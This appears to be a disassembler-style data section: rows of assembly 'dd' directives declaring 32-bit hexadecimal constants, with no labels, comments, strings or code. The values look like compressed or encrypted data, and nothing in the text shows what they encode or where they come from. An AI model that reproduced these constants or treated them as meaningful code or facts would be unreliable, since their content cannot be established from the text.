dd 0FB355245h, 0CACCC417h, 0B8E9128h, 6DEF908h, 478F0C52h
dd 0F1DB221h, 0F181E1D1h, 65C202A2h, 8A240140h, 0D4282E27h
dd 4D1F0DF5h, 7CA2D971h, 12B84A8Fh, 0A569BE1h, 5C20A858h
dd 56E08A2Fh, 18225C78h, 780AFD7Ch, 5115B9Dh, 0EAAEDBE9h
dd 91AE3D35h, 6B2DC162h, 91C85E38h, 825912B4h, 0FF60B07Bh
dd 22C00F6Ch, 3D227A35h, 8A649766h, 7F3E301Fh, 675B6845h
dd 1302FAD8h, 13382132h, 60D33797h, 77496B4Eh, 1465148h
dd 173129F2h, 9641DBF7h, 0B33FA548h, 20C68EB8h, 0DAE95B51h
dd 0EF4FC099h, 0C0E3F7C9h, 80454497h, 2411C883h, 21164F6h
dd 91E28D7h, 0E21582D5h, 0DD540D59h, 5ED46DD8h, 1CB54CF8h
dd 0E9C5C448h, 0EFFDD5CDh, 5CFC9AC4h, 0CAB814E2h, 0A2B2E1E9h
dd 258EB91Fh, 0BE931C1Eh, 4B31E5B0h, 35D237C1h, 0E90820DEh
dd 9DDDD390h, 0DD945C89h, 0BB5E9430h, 0C5D65481h, 0D7E98D6Ch
dd 0C8B73A69h, 6E54294Eh, 409C5123h, 0A359513h, 33461978h
dd 0E3B70BCBh, 4C149F9h, 0C12A5C44h, 282FE9F9h, 55FF40DBh
dd 31E7651Eh, 831836ECh, 2C118819h, 24E60906h, 6E9F081Ah
dd 123C95A4h, 2DE90A2Ch, 0B645297Fh, 4A70FEAh, 80D20B6Eh
dd 0D154E1D6h, 0F5CA1E50h, 0DDE507A2h, 4AA46724h, 0EBA3E905h
dd 189C2801h, 0C77B1379h, 2F28B8CBh, 497A7228h, 0B10828B1h
dd 5DFEA7B2h, 0A3845FC9h, 683DD0BFh, 0CC952588h, 8172A01Eh
dd 4BF42E7Ch, 1D1050Dh, 5EAA8386h, 28FA1694h, 0DD246857h
dd 21D02B4Ch, 0DA98372h, 6FF87531h, 6B7C6091h, 23D7D202h
dd 1630FBFDh, 0BB05132Fh, 0CCEC1735h, 0A0EBB4C5h, 0CC75FEE1h
dd 807302FAh, 42E91E09h, 0EFD87484h, 0E535EBC5h, 0B151D4B2h
dd 16C38348h, 0A7F8F602h, 0BB02F220h, 7061762Dh, 1A967589h
dd 0D909CDECh, 0F463C718h, 8ADD0941h, 0D581CF64h, 6120C1D6h
dd 408E04BDh, 984655B5h, 48005852h, 4C749735h, 2D8B0F0Ch
dd 0BDF69543h, 15EED1D8h, 0F9D248E9h, 7EEEB74Eh, 0F36A9230h
dd 2E9FAAC2h, 12CFFE08h, 0DCC9EDDBh, 4552DEAFh, 5EB54946h
dd 67FDA4D7h, 672906E1h, 0B27BB912h, 48F884A6h, 0CC01EB12h
dd 157A4D65h, 2A4E993Ah, 9A2EF88Ch, 0B8D6975Ah, 9E3EE978h
dd 0CB2C3855h, 54564200h, 1F2E4D5h, 782BD5BAh, 0F0D6314Dh
dd 7AA04A5Fh, 0AA3B71E6h, 0DCF2002Dh, 0F7F1F01h, 3F75E87h
dd 0A40BE93Dh, 0C1290B3Ch, 666CF5FDh, 0B443E84Bh, 13DCB201h
dd 568012C0h, 3D2C239Bh, 8225E94Ah, 625676E3h, 31D7C330h
dd 446A51B2h, 0D5CCE9ADh, 0D34DA231h, 0D6D1EF09h, 796870E7h
dd 0A2EC204Bh, 0E8EE81B0h, 5397F18h, 0D4B9E32h, 0D60109A2h
dd 1C08061Ch, 984E1483h, 0A320E62Dh, 129BCB7h, 0F608EDC0h
dd 3274E8DDh, 0E22E4A9Dh, 0D742DF50h, 0E961925Eh, 26802F8Fh
dd 0DE0C355Ah, 894B1D58h, 1721ABB5h, 116EF2Ch, 0A27E16CFh
dd 43061B64h, 5E5E03Bh, 7BCE3E6Ch, 5BC08B25h, 35276859h
dd 72839844h, 3B53B7C6h, 51D5B10Bh, 24192479h, 0FEBD826Ch
dd 0DE807F78h, 971DA8EDh, 0E70C7361h, 0C0FA7174h, 24458C8Bh
dd 2F7FE391h, 895B5F14h, 0AB4E27A9h, 8DE94004h, 2F689988h
dd 23F10538h, 0B5E9E682h, 279845A7h, 0BF0AF1F3h, 31C31198h
dd 7CEE93F5h, 1F8AEC08h, 17670FBFh, 4F7051E8h, 0C2EEE9C2h
dd 6AD4A2D5h, 0FA9122B9h, 0CC9A977Eh, 33236006h, 5C9AB5FCh
dd 851B352h, 12E02EF9h, 0E9C30B5Eh, 66DA2E3Ch, 91EBD8A0h
dd 1FD22310h, 3A6B1004h, 13E524h, 0C4A6808h, 0D8035693h
dd 0E9798E09h, 0B3BD5E15h, 0D7903E20h, 0FC860312h, 0D4098419h
dd 0E130DCD9h, 0E2881CEFh, 15FEE558h, 3FC1D05Ah, 2CC030D8h
dd 0C09E8E70h, 0E80CB519h, 79C659F1h, 0A4B14060h, 7598C980h
dd 0F4386327h, 0B7BD62D1h, 0DCEB5F05h, 42027C15h, 7E0C17Bh
dd 966D6850h, 0C0D673F7h, 360D580Fh, 6775A14Ah, 4454136h
dd 68050932h, 6E517CFCh, 0B65C9B82h, 0E7C05D7Eh, 0E7BFF99Eh
dd 0D5512F25h, 8BAC5C94h, 1D887568h, 249910A7h, 5A13FC5Dh
dd 0E9561E60h, 0E39F4E7Eh, 1D453297h, 46D0E05Ch, 9CB980DEh
dd 947E0838h, 739BCD21h, 555DFA0Bh, 0F89A7F67h, 5F9E84FDh
dd 0B8A088AFh, 71482E1Eh, 78BE2DBh, 28D1B6A5h, 0D384C3F7h
dd 43E52F01h, 452A7A6Eh, 546AA4F1h, 0FD4A6E37h, 0FE8B5BDDh
dd 48BA0F10h, 602704C7h
dd 0BEF81D28h, 4DAF717h, 9B97884h, 0F5E7575Eh, 7D527A2Eh
dd 13865BE3h, 2158C213h, 4F23C5C8h, 201C8982h, 507BDC1Ah
dd 5CE5C48h, 0A4B4555Bh, 0BF04C4BEh, 0E6D0E15Eh, 6F945333h
dd 0C945A5F5h, 53887DDh, 0C409C818h, 0C9E92F52h, 5D01568h
dd 726F2E9Dh, 0EF9967BFh, 0A42FE892h, 0B894DC81h, 4BAA6800h
dd 3BA099B5h, 552EB2FFh, 5E2DA045h, 2076F2DCh, 7418E9E1h
dd 7F313324h, 90E4BFDEh, 0B04A58FCh, 5F5C0872h, 26AEED10h
dd 9F69EE20h, 0AF329BD0h, 0E429122Ah, 0E9553FADh, 0BDD8E2D5h
dd 0A2161728h, 6C41FE40h, 0EDD14DDDh, 87D830h, 5197C0C6h
dd 36929B9h, 2010265Ch, 29EA0B3h, 0C2705A4Eh, 79BC596Bh
dd 75ABA8D2h, 2D5A88EFh, 654A7250h, 0B50DDEEh, 4B137CCCh
dd 7FFC7F5Bh, 86AA76Ah, 0C262F25h, 0AB4E5511h, 7103A109h
dd 3DEC495Ah, 0A4A6E918h, 1316C7C7h, 0B0BA9562h, 0DE41A053h
dd 5AAA5424h, 0C84B546Ch, 5049720h, 58BF48F3h, 752BB82h
dd 0C67F6350h, 334E9704h, 38BB6F25h, 444096B3h, 0D75CECADh
dd 0F36C8455h, 0CBF84E8Ah, 0FC2BE9C2h, 92073482h, 7112907Ah
dd 0A721D788h, 5901D653h, 0B7063A01h, 72C32B51h, 58C626E8h
dd 256805D8h, 1236E337h, 0C8AEDC5Ah, 972C68E3h, 5361B94Dh
dd 0B3ACAE9h, 57093078h, 0D4A76C05h, 0A9CBFE39h, 0B034E9C4h
dd 7D58B841h, 305824B9h, 0C8607C24h, 80A2E5E9h, 0F42C890Fh
dd 0E88C6333h, 0F8030607h, 635F308Ah, 8953F6AFh, 458F48B5h
dd 691A3901h, 2D83ECCFh, 0CB0110C1h, 0CE67C985h, 0D749B751h
dd 125199A7h, 69431F5Fh, 0A104E42Ah, 6E3C007h, 0F671C380h
dd 0C9D6FEDBh, 0C5EC7084h, 8D0F1211h, 0EE195299h, 0C69567C1h
dd 4358530Ch, 2E525526h, 0B07FBFE1h, 211626DDh, 0CF8120D2h
dd 0A5405A50h, 4C6FF7EAh, 0C2278D29h, 60E98348h, 0C50A09B5h
dd 0E07B27F2h, 24C7425h, 481F0D3Ch, 18A089F5h, 58F6C594h
dd 0CA58C5E0h, 4025C648h, 6858EAD4h, 0E6745F62h, 5FC75E0Eh
dd 0E97DFE60h, 0BDED4020h, 302FE07Bh, 22AD803h, 6AC2E381h
dd 63C04305h, 9D096319h, 5A37E921h, 0F4C30450h, 0AF75F257h
dd 3C0D44C1h, 7E0E5207h, 0D5D6D8A9h, 4D8A5525h, 0D5CC3F1Ah
dd 0EEBA404Eh, 65CE6BDDh, 0E7B519Fh, 0F8A2A705h, 2960401Fh
dd 0A360CBDEh, 597FC2D8h, 7EFEC11h, 241B1AFBh, 51CCD29h
dd 31B40D08h, 0C2FA3081h, 0E295F690h, 0F6D56C72h, 0F6B65F74h
dd 6D18D891h, 28EC2C67h, 50052557h, 2971EB5Dh, 0B32FB968h
dd 10FD52A5h, 2F50E472h, 7733625Bh, 8B59BAE6h, 833A2D3Ch
dd 0A9FEBB22h, 0F43F0CF1h, 317480EEh, 82E93508h, 5B5E2792h
dd 6153571Eh, 8B252E80h, 0B0D75B47h, 57825C3Eh, 82D1BA05h
dd 677E737Dh, 0AC985752h, 0D68228D8h, 0BFE2DF5h, 0FB027F25h
dd 9BAEAFC4h, 12656DC4h, 0F64005BFh, 0C76B94Fh, 0A12D0EEh
dd 2D953DC6h, 7B94B14Ah, 0BFFDD48Dh, 0D9FB53C5h, 32001C7h
dd 406141B1h, 0AED420A2h, 80318E34h, 0D7AE64C5h, 57805EC6h
dd 0E62D646Bh, 473D2317h, 7177C84h, 1970FA29h, 4B27924Eh
dd 0CDAAE45Bh, 0C9E76D5Fh, 641A5925h, 9A066355h, 0FA5C09A6h
dd 58FAD449h, 0A9BEE378h, 53F0B840h, 0ED098D8h, 2BAE4E54h
dd 77A446AFh, 44E68306h, 549E3B48h, 4B05097Dh, 0C6011A08h
dd 0D089F10h, 83A15EE9h, 0D024803Eh, 0A7D3571h, 1B87E433h
dd 0CA56BAF1h, 1B6E7F87h, 37FE3B24h, 10700689h, 17F180C5h
dd 0C0565038h, 1B3F7A16h, 292E97Dh, 0CAE90DB9h, 9BEE334h
dd 7F35673Ch, 81EB6E87h, 3B6CD638h, 0D84B110Bh, 0FBAA205Fh
dd 12FB6658h, 3330E541h, 9517EA68h, 27950498h, 88CE983h
dd 0EEC0B051h, 0E5BF5700h, 2A6A2205h, 0CA80FD89h, 466EDC5h
dd 27E978C2h, 46350179h, 56CC5513h, 7E4104BEh, 86290BC7h
dd 0F7011246h, 875C1726h, 68E49CEh, 0FE5393E9h, 0AB312A20h
dd 0E87FD23h, 89EF97DAh, 77D98BD7h, 8840C332h, 561D0C33h
dd 0D59BE9C6h, 0EE980EEBh, 89C657EDh, 0FE1F06EFh, 2D965D5Fh
dd 900C1ABEh, 79C0241h, 0BA703BB0h, 9B565C6Fh, 4A1DAA01h
dd 61CA8777h, 6A562281h, 0EF089A10h, 580D006Ch, 0F755040Eh
dd 1035D802h, 4001AA1Ah, 20ABB134h, 0A1BAA341h, 3A66AD27h
dd 92447FA7h, 0C6C7E919h, 0EC09EF21h, 99BD3B7Bh, 0D86E51B7h
dd 0F460A210h, 63F7C537h, 0EDCE90FDh, 806DB21h, 6CB6091Ch
dd 96554F3Ah, 408AB02Fh, 68185699h, 0B1177C6Dh, 0CB308038h
dd 3F5669EEh, 24563E60h, 2D835D08h, 30C95A1Eh, 0E96B8765h
dd 39C0AF76h, 0A147B2CBh, 0EBD1261Fh, 0AD4512BBh, 4A9FD002h
dd 8AE92823h, 5B2BF026h, 2FD8E5BAh, 532F6344h, 4850F01h
dd 972F628Ch, 0FC139DA8h, 0D48BB8AEh, 2C2121Eh, 1D022CBFh
dd 0C0AD446Eh, 1A3025A4h, 0F488CA88h, 860F8291h, 0ED483727h
dd 6880593Fh, 24CCE0F7h, 17BF5B6Ah, 0A24F56D3h, 6EB8008Fh
dd 0BD42AE66h, 5A70476h, 6C5010Eh, 345DAC7Ch, 0EE53C981h
dd 112F37A6h, 5177CFC2h, 0C5E90537h, 37CAFEA4h, 41CE2F7Ch
dd 0F469E7DCh, 0CBFC6B8Eh, 750E8000h, 963DE905h, 65442F9Bh
dd 5E26B025h, 1DE426AAh, 73B76003h, 28F8256Fh, 68716CC4h
dd 0ACD9EF12h, 11696680h, 0E9953F59h, 0E764C330h, 822EE18Bh
dd 0DD80E2DDh, 187DF6C2h, 9F7E2BC9h, 59408BF1h, 974783E9h
dd 0C4D3CB9Bh, 7F86BF58h, 757E3558h, 9EB10C8h, 0BD13A3E9h
dd 0C47446E1h, 0A8F8522Dh, 0BF187160h, 4E3D2EFBh, 5C4B241h
dd 782C6866h, 84044E1h, 170F21C9h, 0E2E4CE82h, 4BCFE732h
dd 0B5732Ch, 0E9C0B70Fh, 22928ED9h, 4A8124EAh, 481EC60h
dd 0AB7548CAh, 0A316BF42h, 7DBC6D12h, 1FCB3FDEh, 0CFCD893Fh
dd 0FD55DA91h, 0D8C2065h, 34DB3EF9h, 0B5515301h, 84EF88CFh
dd 0BCD1E9B7h, 4FC106ECh, 0F566FD31h, 3BFC286Eh, 113801BEh
dd 46E6D128h, 0C06086F4h, 6B74ED69h, 0D09F159Fh, 741BB29Eh
dd 35316ABh, 5D0ED021h, 805DE3E9h, 384704B6h, 81FE3D05h
dd 0A449BA10h, 5010CE11h, 0F3E2D116h, 8FAD4B98h, 4F40F2E4h
dd 19B15F1Dh, 472CFB01h, 0C409302Fh, 3272EED5h, 0D21AEC22h
dd 0D74CBE4h, 647BC69Dh, 81541105h, 56DB244h, 0A8C40CEDh
dd 6673273Eh, 0AC455A2Fh, 3096754h, 49EF98D2h, 0E260E781h
dd 21FE04CFh, 0B0D17CF7h, 643C6C20h, 0FF67EFAh, 2159D009h
dd 59CD5431h, 8B743C29h, 27B056EAh, 0F088A8DBh, 0AB92BC6Eh
dd 0DE91AECBh, 457BEF8Bh, 0BBBAC845h, 0B4797FCCh, 55F000Fh
dd 44230C85h, 2D519FB0h, 0F178A707h, 92FD6B9Ah, 48E1D7B6h
dd 0C36620F6h, 8C202841h, 0B885D323h, 36F71094h, 0FD3E2DC0h
dd 14FBA73h, 18CEB4h, 816CCA5Eh, 575D43EAh, 0FE210D2Fh
dd 0C4730CD0h, 6805EBF7h, 29264735h, 302C5B81h, 0CF28EA39h
dd 0F6DE9DACh, 0BC520425h, 72C6550Eh, 0C60545BFh, 117B0109h
dd 9885B7BDh, 920EACD9h, 766CCAFBh, 2E72685h, 1FF7741Eh
dd 0F05154C0h, 20AF1497h, 317FA780h, 589AA0EEh, 0F894B027h
dd 4F5073E6h, 5B4109D8h, 0A8EC7905h, 255C8F5Dh, 0C8BE737Eh
dd 654DCF44h, 2A4B9E1Ah, 6225DCDEh, 6801E8E4h, 6D2F4811h
dd 0C7302A7Ch, 583B59BBh, 0EB3A06A1h, 51711A8Dh, 3021D40Ch
dd 0FC04074Ah, 0B4F94B7Dh, 0B8F3752Ch, 0AB0152h, 7E66929h
dd 0E8E564E7h, 888F14Bh, 520C7508h, 409A207Eh, 0DD40D0EDh
dd 0D28C4014h, 0A7087162h
dd 0B94502E7h, 313FF903h, 6A49C738h, 0BF088CCAh, 62B2186Dh
dd 9FE2088Eh, 3023802h, 2810768Fh, 4F182894h, 722910E4h
dd 0CF593D80h, 18F87608h, 1180BFB2h, 23EB83C5h, 9ADE0818h
dd 8073A520h, 10C46BE9h, 0D60456C2h, 0F43606F9h, 80A3108h
dd 8846EA18h, 81BBF08h, 2089AEFh, 6FA1084Bh, 39893338h
dd 0CFD1332Eh, 0A9197E10h, 4D108690h, 5454988h, 186C5F0Dh
dd 898FFF5h, 0B037C9BDh, 0C40F08C4h, 0A039300Ch, 62D44140h
dd 247E08ACh, 10ABA603h, 18399728h, 55108B7Fh, 0EC21D12Ch
dd 9C0F91Bh, 97ED2119h, 98523108h, 89B0A20Ah, 93620242h
dd 1057B403h, 31B90D08h, 67C5F1EFh, 18D1201h, 88CBBEEh
dd 71184740h, 63ABBE40h, 641F10B7h, 0B078082Ah, 31A38420h
dd 5728DC60h, 0B5088861h, 81F90C9Dh, 8880A2F1h, 0C018C6F1h
dd 0E233087Ch, 3275C97Bh, 33281481h, 510184A3h, 0CE960810h
dd 183C6B10h, 54308E6Eh, 0D0618080h, 248210C9h, 64913B00h
dd 4B03DF63h, 78103919h, 19892908h, 1C28A1B4h, 0B17E88D4h
dd 0C31AB08h, 7C187D2Ch, 0A9C5BE40h, 398CE1D4h, 7C593267h
dd 0CC169A80h, 7E695008h, 870895FBh, 0A45418A0h, 80C38B38h
dd 0A8098D6h, 51E98149h, 2296CCCh, 36D84817h, 0B108C4ADh
dd 0F4F80A85h, 821D788h, 0ED0822BEh, 0A05D1FB5h, 1018A449h
dd 0C924F74Fh, 8C0B608h, 206E1820h, 95492ECCh, 810A315Ch
dd 0B501895Bh, 8C1888B1h, 0B9720806h, 10844A15h, 3375CB4h
dd 8C946E1h, 189B5A33h, 0DA691035h, 0EC3B106Bh, 33A8432Ah
dd 0E8E96809h, 0A05D1019h, 718C9A08h, 0FF10BA2Ch, 0AAF9BB41h
dd 17B1601h, 0D401F022h, 9AFD01C2h, 1425601h, 0D052CB90h
dd 9F83022Dh, 72D802h, 0E8FC9C60h, 0F825A499h, 5EC22A75h
dd 901B4D7h, 2F205BDAh, 2752C47h, 8913EB18h, 0DEA7B90Eh
dd 105803Dh, 49408F44h, 75C90B02h, 0C3748BF7h, 3DEA039h
dd 0EAFE95F0h, 1C0338Fh, 304FB10Fh, 4AC2C82h, 0A4FE51E5h
dd 105B750h, 0F928C4B1h, 7BE1C05Bh, 29EAC40Ch, 8BF65851h
dd 0B4274E4Ch, 38688280h, 9589E6Fh, 0F4B217AFh, 2F366246h
dd 0B9511C84h, 0FBD81498h, 905ECB2Dh, 5E13CC02h, 0BAEAFF3Ch
dd 0CDF30827h, 11A0422h, 1432C296h, 0DA2E7037h, 88163B8h
dd 0CE452A5Bh, 25D078A0h, 5C500BC9h, 0F1027877h, 7FFF71EBh
dd 4F05E855h, 0AA014A3Ch, 0A400A124h, 0F4E7EA7h, 6927308Eh
dd 29F68120h, 0A820A004h, 0E0ECF189h, 5D003CA6h, 2D20F569h
dd 4F441546h, 47910C3Bh, 7303B867h, 316FBE02h, 852FE1C7h
dd 2F5B3C9Eh, 215F0696h, 3B4C9F05h, 0B4D658BCh, 4A602BDFh
dd 10B05058h, 0F6C81BFEh, 0C5E04D8h, 66045300h, 0C74AC780h
dd 6728E026h, 163B0F58h, 0ECEFE7C7h, 5B1CFA12h, 0D00E6D04h
dd 0E7D1972Ch, 0A650F67Ch, 3BDE8DC6h, 0C103BCD5h, 3223711Eh
dd 519A0C01h, 0F101223Bh, 846E9F9h, 5E14810Ch, 51CF847Ch
dd 0C0358BA6h, 5510BE04h, 80EB30B3h, 79DD72D4h, 63BA521Eh
dd 73BA5BAh, 59846850h, 0C7C0ACB8h, 813D1E25h, 7B37F304h
dd 57F05201h, 0B92B4FD3h, 94BDD38Dh, 0D22D9713h, 0EEFE2CBBh
dd 5E316D28h, 0E3D19051h, 61AD8BE0h, 0EDE9103Ah, 7426A7DDh
dd 22E97832h, 98BB65Dh, 565D5EF0h, 0EC5B2DB7h, 31EA966Fh
dd 1AB68A1h, 12937C01h, 79CFBE5Fh, 3B58914Ah, 0FC35AFEBh
dd 0F4D037DFh, 0C65C0E0Dh, 7C0C2C58h, 48433055h, 0F8E780CCh
dd 55AC06C9h, 0F7092964h, 0D2F908F0h, 32D835ABh, 68D2C130h
dd 16137A0Bh, 0B6AA1884h, 0BDE98295h, 54D15D21h, 67F1953Ch
dd 0BB634A5h, 92E9F3BFh, 0E90B078Ah, 945FBE1Fh, 66D1951Bh
dd 3C7AA43h, 4FA1BD10h, 7C182ADDh, 0F5FB22E4h, 0EA88242Bh
dd 11F90CFDh, 1341FA93h, 0FB78E47Eh, 158E7E14h, 714704DEh
dd 54BC2EF0h, 9649C8B1h, 0F2A83338h, 5042A388h, 0ACA08FDh
dd 0CAD41DEAh, 0A929C74Ah, 1211645Dh, 0A0D94E74h, 95A82767h
dd 1612A0C6h, 4FF96D49h, 90580840h, 51EEB56Ah, 79B518F4h
dd 8D0A987Bh, 2E4AEE68h, 0F11011F3h, 0ACF15F0Fh, 6025813Ah
dd 6E29E1FCh, 13B8AC65h, 31F6572Fh, 0E928E701h, 0A2934B4Ah
dd 82960442h, 0C0F24E40h, 50A99106h, 55851434h, 0BDB0D853h
dd 0D5F143Bh, 269A5B50h, 5CAD883Ah, 84FD2095h, 54C6C282h
dd 0A98F260Bh, 542FD5E8h, 4F5F11E3h, 5757A0Fh, 0B364293Dh
dd 88C404AAh, 566F0E3h, 0CF692204h, 56AC508Dh, 946AA704h
dd 0B7DD8072h, 0A120E925h, 0CC80017Dh, 0B28F0F23h, 0C0128783h
dd 0ECC206E4h, 7E1F78Ah, 40F412C2h, 0DD1A082Eh, 0DD469810h
dd 9693BF5Ch, 0EB70F200h, 489CE95Fh, 12D86E56h, 0FE837BDCh
dd 60BEF05Ah, 10C3397Eh, 1D4BB973h, 1310FFBCh, 0B36809C8h
dd 0B6B9185Dh, 5F7DFECEh, 88B6A9BCh, 0F35916FCh, 0DA291FCEh
dd 51C34E98h, 0FEF212B5h, 9A970EC5h, 0C01ED66h, 0D1A1F35Ah
dd 56A71D3Fh, 9746E29Bh, 0BFAA39C1h, 29F885C3h, 60C8EEF4h
dd 0BD5D49EDh, 7D45EA25h, 0B6EDE4B1h, 871AD632h, 85F300Dh
dd 481EE8E1h, 49E490E0h, 0F7031507h, 0E6D0FC12h, 0A983FDC2h
dd 1D0F162Eh, 0F8F9A3EEh, 0B4596AA8h, 8057E4E9h, 32AF3420h
dd 0E7C15F12h, 8ABB4C09h, 0D2675C11h, 426B9602h, 0E9FC609Ah
dd 7B8E2D30h, 0F707837Ch, 0BFA24DD5h, 0C1CCFDB5h, 0A4B5BC5Fh
dd 0E433E92Ah, 91B9D1EEh, 0FC1C1238h, 164308F3h, 9A253428h
dd 0A5BAC76Ch, 0DCCB6EDEh, 9035841h, 0D505D6D6h, 0EACAD8ACh
dd 48E13B10h, 4BFA2D60h, 0EE48E1FEh, 20859964h, 0D0A00C6Bh
dd 3479794Ah, 1F7BCDEAh, 500E6DA6h, 8A59E3B8h, 3C04DB18h
dd 0F0F2016Ah, 17FAB16Ah, 99CC046h, 1E985BD9h, 0AD48EFF5h
dd 0F6DB12E8h, 0C2D731EAh, 5689488Dh, 3A4E7C51h, 2D0F15E8h
dd 0A6CBBDFAh, 55A0065Dh, 50386E0Ch, 5FEA71D3h, 51350064h
dd 0F86E2C66h, 9FC71C48h, 0A9E2CCFBh, 0BC30825Fh, 2BC5E522h
dd 0DBB31DD0h, 54EDC145h, 3A127AE3h, 0A0E18FC1h, 58045976h
dd 0AB324F70h, 1F012E85h, 0CDB08FA4h, 5F587728h, 2428FC4Ah
dd 0E9C30A02h, 0AD7F5A49h, 8E162619h, 0D01AAABEh, 5051AC04h
dd 5FC4F6B4h, 7D87FA94h, 7FDC2372h, 50E7C8A0h, 64C02756h
dd 6829181Bh, 0CECB35E9h, 73D0C22h, 49690506h, 6DA683A0h
dd 8031E121h, 0E3E77168h, 8E3B445Ah, 5E141950h, 126FDA29h
dd 0C5E90F99h, 261585A6h, 53A89895h, 64C12668h, 0BF576011h
dd 9C255B4Bh, 1F12F019h, 0D3EC8EBCh, 0CB8B09F9h, 32B78406h
dd 58C7719Dh, 854CA0E9h, 5A68C24Ah, 0CB81DE57h, 9C1E9706h
dd 78E8829Dh, 4286436h, 58D3BBB9h, 0D6081A29h, 0B45E179Dh
dd 2B0CC7D3h, 0BC4449EFh, 30670388h, 0D27EE97Ch, 5C36840h
dd 0C50C9D09h, 5282D56Eh, 4CE84502h, 0F6031EC1h, 308B0FD9h
dd 0B8174566h, 0E1288D01h, 518F10BAh, 5E952368h, 4930B91Ch
dd 5F0873EBh, 0E58180C2h, 1A31413Ch, 4D860CC1h, 4F205DE0h
dd 0F5C403B2h, 282DE910h, 4EF82E5Ah, 4C09B24Eh, 74EF0E0Fh
dd 0D8E9221Fh, 5D11E991h, 107AA22Eh, 74230A29h, 134518B4h
dd 7471FAAh, 0C8EB3D96h, 0BFB1E4B0h, 2BA0EEC8h, 20FF014Bh
dd 760CE6CBh, 23DBD3Bh, 0A65DCFCEh, 0AA286022h, 68A92C7Eh
dd 0A1B8583Fh, 16013173h, 97CAD405h, 0DD80298Ch, 67F1B951h
dd 0E93B2A73h, 0B838E5D1h, 155CFA05h, 2D072980h, 0C40116DAh
dd 0E0FDA13Eh, 213DB9E5h
dd 8CC3A480h, 8EA8631Ah, 0F68C1E8Bh, 17799474h, 0CC9422A2h
dd 35BACE20h, 30EE14A0h, 63A20DD7h, 178CAF10h, 0B1AC4768h
dd 0CE6F8755h, 9CA04E44h, 351C6245h, 571A1B22h, 167D6892h
dd 27289437h, 9D4A2CF1h, 4DE95782h, 0B6520036h, 0C65CFE6Bh
dd 9AF112E8h, 9703AFEDh, 2AB35350h, 8806F3B8h, 285BD814h
dd 0E6C01EAFh, 5866845h, 0B0B4C731h, 852CA57Fh, 396BE904h
dd 0FB9F12h, 0C1BDF2B2h, 70B7D56Eh, 2AD18015h, 73442D09h
dd 0CF54B68h, 2A61E5E1h, 3074D9F2h, 6848474Ch, 963B7Fh
dd 0D5317D62h, 534CC9EEh, 6BB4ADEh, 854A203Bh, 3B252EB0h
dd 5A3955EDh, 993665A4h, 0D92F1050h, 6F02B31h, 0FC144FBCh
dd 1612612Fh, 4C888254h, 0C00B08CBh, 0F2057FE0h, 0E2CF972Eh
dd 0DCA27891h, 0D7291C2Dh, 0FBF6AB60h, 0CC4CA59Dh, 0BE01D81Ch
dd 6EB55DB9h, 13D58520h, 0F0372E74h, 0E40C226Fh, 1CDEF751h
dd 6401121Bh, 0E9430133h, 3BDCDBFEh, 0B4905914h, 0C8F788BCh
dd 8C8C9C1Bh, 675AB007h, 649792D0h, 816310DDh, 1E7A0CF3h
dd 60E23B7Ch, 41E00244h, 0E48AECC6h, 71CDD14Dh, 1E47709Ch
dd 208C231Ch, 1BB0F12Fh, 2584C158h, 25B2FCE7h, 5F5AA575h
dd 87A572AAh, 380AEC77h, 957047A0h, 0F8B711EEh, 0C91FBE59h
dd 0EA436F7Eh, 419C85A9h, 18C317BFh, 1A0D063Eh, 1B902032h
dd 0BA525001h, 4B420AE3h, 1367FB20h, 0FF16716Ch, 6E17BD53h
dd 163A32E1h, 627A96Fh, 5D336684h, 3691080Ch, 0B012164h
dd 5F0C9604h, 68C2E538h, 0E901764Bh, 220337Fh, 6BEA5309h
dd 3E81F238h, 15E967FFh, 0E3B6920h, 765D4521h, 467C0AAEh
dd 227C26CDh, 0C33420CDh, 0A90E6498h, 0A7ACE5F6h, 0EF9047D7h
dd 5B4B7824h, 2D26A193h, 755C3027h, 0C09482E9h, 2576BE3Eh
dd 409F1629h, 4C586B9Eh, 0A73A1328h, 0D34F6B62h, 1EF82500h
dd 27105139h, 0F06EDFD2h, 23B4038Eh, 0A84BE310h, 2209047Dh
dd 5F0C07D4h, 520224EAh, 0A3E91218h, 0C94E6867h, 20C8B8F6h
dd 83982AD0h, 2CBA1F4Bh, 8B0968E2h, 5722B032h, 9A255280h
dd 2B48B376h, 3FAA184Bh, 813A09CBh, 9D792058h, 50F5411Dh
dd 2C6CC382h, 40EEE228h, 4BFDE980h, 3E998DA1h, 3DBF6A12h
dd 1EE29614h, 374D84D0h, 2107008Ch, 0F50D59C8h, 1E5DAC48h
dd 26741AD9h, 930AC02Ah, 0C7EFC028h, 0C0EFD0B3h, 7308E73Ch
dd 0F6161A64h, 0E291D1AAh, 22E23D58h, 0EEF8B040h, 42944E86h
dd 0A75DF324h, 3855BEC0h, 0EDE67F82h, 3024C304h, 4B8173Ch
dd 315E2C76h, 5820BE82h, 0E3B0CDEEh, 69E1CC70h, 3EBE864Ch
dd 8E448024h, 0F3DBB5FDh, 0CE654CB1h, 3ED6DD2Fh, 350D704Ch
dd 6F7D2068h, 6BB1E924h, 9AD80193h, 0E7143D5Ch, 0D9E95886h
dd 0F17255B6h, 626A031Eh, 0D785C2D2h, 3FC56E80h, 694F7B35h
dd 0B04F596h, 9260C868h, 6B17D862h, 105D0917h, 0F6A2BB75h
dd 2297AABh, 0FA02B791h, 1655DF01h, 0C8EF0219h, 0F4AEB68h
dd 0A5D740C1h, 0F754C818h, 55B00559h, 99F83171h, 64660CCh
dd 1259AAC0h, 762D9471h, 38280647h, 0CA5C63E9h, 3FC3800Fh
dd 829B2451h, 0A3C574B3h, 40B1291Dh, 0A0603FA5h, 2609194Bh
dd 6C7F5C5Bh, 324B0A54h, 0CF05B231h, 0D6C24981h, 7A481625h
dd 7C54C1F3h, 175834E9h, 4576809Eh, 181AB416h, 0A38DA29h
dd 8A430B08h, 5C541727h, 5CAF650h, 4E7A6855h, 27E971CCh
dd 1235006h, 0C4A5646h, 7848D3FCh, 15136911h, 9D793045h
dd 685CC580h, 58015A26h, 22795D5h, 8C175BC5h, 76AB0853h
dd 6813B0EEh, 0A8CC2587h, 0A5C59C06h, 0B0153C55h, 78400115h
dd 77682369h, 245B767Fh, 0B04075A8h, 5016DD70h, 129CA05Ah
dd 0A86D2865h, 86460670h, 21A425Bh, 0DA182DBCh, 3174D789h
dd 106C684h, 844DB3BEh, 6F1DF309h, 313EF8F2h, 71C715FBh
dd 0B7B05EC2h, 6871A846h, 961E1202h, 12000C15h, 84EC5C5Eh
dd 6805929Ch, 37BE5778h, 18579BAAh, 0BAFBE3Ah, 314AC806h
